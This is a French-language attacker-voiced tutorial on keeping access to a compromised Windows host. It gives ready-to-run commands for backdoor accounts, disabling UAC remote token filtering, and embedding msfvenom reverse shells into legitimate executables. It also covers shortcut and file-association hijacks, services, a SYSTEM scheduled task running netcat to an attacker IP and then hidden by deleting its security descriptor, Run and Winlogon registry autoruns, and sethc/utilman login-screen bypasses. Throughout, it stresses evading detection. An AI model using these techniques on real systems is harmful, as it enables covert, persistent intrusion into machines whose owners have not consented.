Après avoir obtenu un accès initial, Il va falloir faire en sorte de conserver cet accès. L’établissement de la persistance est l’une des premières tâches qui nous incombe en tant qu’attaquants. En termes simples, la persistance consiste à créer d’autres moyens d’accéder à nouveau à un hôte sans repasser par la phase d’exploitation.
Compte backdoor
Il peut être nécessaire d’ajouter l’utilisateur dans le groupe Remote Management Users (RDP) ou Remote Management Users (WinRM) afin d’autoriser les connexions à distance à la machine :
net localgroup "Remote Desktop Users" <username> /add
net localgroup "Remote Management Users" <username> /add
L’une des fonctions mises en œuvre par l’UAC, LocalAccountTokenFilterPolicy, prive tout compte local de ses privilèges administratifs lors d’une connexion à distance. Bien que vous puissiez élever vos privilèges via l’UAC à partir d’une session utilisateur graphique, si vous utilisez WinRM, vous êtes confiné à un jeton d’accès limité sans privilèges d’administration.
Pour pouvoir récupérer les privilèges d’administration de votre utilisateur, nous devons désactiver LocalAccountTokenFilterPolicy en remplaçant la clé de registre suivante par 1 :
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Fichier Backdoor
Une autre méthode pour établir la persistance consiste à altérer certains fichiers avec lesquels l’utilisateur interagit régulièrement. En apportant quelques modifications à ces fichiers, nous pouvons installer des portes dérobées qui seront exécutées chaque fois que l’utilisateur y accèdera. Comme nous ne voulons pas créer d’alertes qui pourraient nous démasquer, les fichiers que nous modifions doivent continuer à fonctionner pour l’utilisateur comme prévu.
Executables
Avec msfvenom, vous pouvez facilement insérer une charge utile de votre choix dans n’importe quel fichier .exe. Le binaire fonctionnera toujours comme d’habitude mais exécutera une charge utile supplémentaire silencieusement en ajoutant un thread supplémentaire dans votre binaire :
msfvenom -a x64 --platform windows -x program.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=9999 -b "\x00" -f exe -o evil.exe
Raccourcis
Si nous ne voulons pas modifier l’exécutable, nous pouvons toujours modifier le fichier de raccourci lui-même. Au lieu de pointer directement vers l’exécutable attendu, nous pouvons le modifier pour qu’il pointe vers un script qui lancera une backdoor et exécutera ensuite le programme habituel normalement.
Target : powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
Détournement des associations de fichiers
Nous pouvons détourner n’importe quelle association de fichiers pour forcer le système d’exploitation à exécuter un script chaque fois que l’utilisateur ouvre un type de fichier spécifique.
Les associations de fichiers par défaut du système d’exploitation sont conservées dans le registre, où une clé est stockée pour chaque type de fichier sous HKLM\Software\Classes\
. Supposons que nous voulions vérifier quel programme est utilisé pour ouvrir les fichiers .txt ; il nous suffit de rechercher la sous-clé .txt et de trouver l’ID programmatique (ProgID) qui lui est associé. Un ProgID est simplement un identifiant d’un programme installé sur le système. Pour les fichiers .txt, nous aurons le ProgID textfile.
On peut ensuite modifier la valeur de a clé de registre :
HKLM\Software\Classes\txtfile\shell\open\command = [REG_EXP] powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 %1
Le %1 représente le nom du fichier à ouvrir. On peut donc écrire un programme qui ouvrira le fichier demandé à la fin.
Service
sc.exe create MyService binPath= "C:\Windows\evil.exe" start= auto
sc.exe start MyService
#les espaces doivent être conservés
Notez cependant que les exécutables de service sont uniques puisqu’ils doivent mettre en œuvre un protocole particulier pour être traités par le système. Si vous souhaitez créer un exécutable compatible avec les services Windows, vous pouvez utiliser le format exe-service
de msfvenom :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe-service -o evil.exe
On peut également modifier un service existant :
sc.exe config Service0x3 binPath= "C:\Windows\evil.exe" start= auto obj= "LocalSystem"
Tache planifiée
Création de la tâche :
schtasks /create /sc minute /mo 1 /tn EvilTask /tr "C:\nc.exe -e cmd.exe <IP> <P>" /ru SYSTEM
Affichage de la tâche :
schtasks /query /tn EvilTask
Rendre la tâche invisibe (SYSTEM)
Chaque tâche possède son descripteur de sécurité (SD) qui indique qui y a accès. La suppression du SD équivaut à interdire l’accès de tous les utilisateurs à la tâche planifiée, y compris les administrateurs.
Les descripteurs de sécurité de toutes les tâches planifiées sont stockés dans :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
Vous trouverez une clé de registre pour chaque tâche, sous laquelle une valeur nommée “SD” contient le descripteur de sécurité. Vous ne pouvez effacer cette valeur que si vous disposez des privilèges SYSTEM.
Pour ouvrir regedit en tant que SYSTEM nous pouvons utiliser le sysinternal PsExec :
PsExec64.exe -s -i regedit
Pour masquer notre tâche, supprimer la valeur SD de la tâche “EvilTask”.
On peut vérifier que la tâche est invisible :
schtasks /query /tn EvilTask
ERROR: The system cannot find the file specified.
Autorun
Windows exécute automatiquement certains executables lors de différents événements du système. Il est alors possible d’exploiter ce mécanisme pour effectuer notre persistence.
Dossier Startup
Les exécutables dans ce dossier sont lorsque l’utilisateur se connecte :
C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
On peut également l’appliquer à tous les utilisateurs :
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Run / RunOnce
On peut forcer l’exécution d’un programme à l’ouverture de session en modifiant les clés de registre suivantes [REG_EXPAND_SZ]:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Winlogon
Winlogon utilise certaines clés de registre qui pourraient être intéressantes pour obtenir la persistance :
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
Userinit
est chargé de restaurer les préférences du profil utilisateur. Par défaut, la valeur Userinit dans la clé de registre Winlogon est configurée pour lancer userinit.exe
. Il est possible d’ajouter un autre exécutable à exécuter en même temps ou à la place de userinit.exe.
HKLM\....\Winlogon::Userinit = "C:\Windows\System32\userinit.exe, C:\evil.exe"
- Par défaut, la valeur
shell
est configuré pour lancer l’interpréteur de commandes du système, qui est généralementexplorer.exe
. Il est possible d’ajouter un autre exécutable à exécuter en même temps ou à la place de explorer.exe.
HKLM\....\Winlogon::Shell = "explorer.exe, C:\evil.exe"
Logon exécution
Lors du chargement d’un profil utilisateur, userinit.exe
vérifie la présence d’une variable d’environnement appelée UserInitMprLogonScript
. Nous pouvons utiliser cette variable d’environnement pour affecter à un utilisateur un script de connexion qui sera exécuté lors sa connexion à la machine. La variable n’est pas définie par défaut, nous pouvons donc la créer et lui affecter le script de notre choix. Notez que chaque utilisateur a ses propres variables d’environnement ; vous devrez donc créer une porte dérobée pour chacun d’entre eux séparément.
HKCU\Environment::UserInitMprLogonScript = [REG_EXPAND_SZ] "C:\evil.exe"
Sticky Key
Un moyen simple de contourner l’écran de connexion consiste à remplacer sethc.exe
par une copie de cmd.exe
. De cette façon, nous pouvons lancer une console en utilisant le raccourci sticky key, même à partir de l’écran d’ouverture de session :
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.old.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Sur la page de déverrouillage de session, tapez 5 fois sur SHIFT pour obtenir une invite de commande avec les privilèges SYSTEM.
Utilman
Un autre moyen simple de contourner l’écran de connexion consiste à remplacer ultiman.exe
par une copie de cmd.exe
. De cette façon, nous pouvons lancer une console en utilisant le raccourci sticky key, même à partir de l’écran d’ouverture de session :
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Sur la page de déverrouillage de session, cliquez sur le bouton Ease of Access pour obtenir une invite de commande avec les privilèges SYSTEM.
Persister à travers les services existants
Webshell
Il est possible d’ajouter un fichier sur un serveur web que l’on va pouvoir visiter pour lancer un reverse shell.
MSSQL
Il existe plusieurs façons de créer des portes dérobées dans les installations de MSSQL Server :
- Configuration de triggers
- Création de compte
- etc…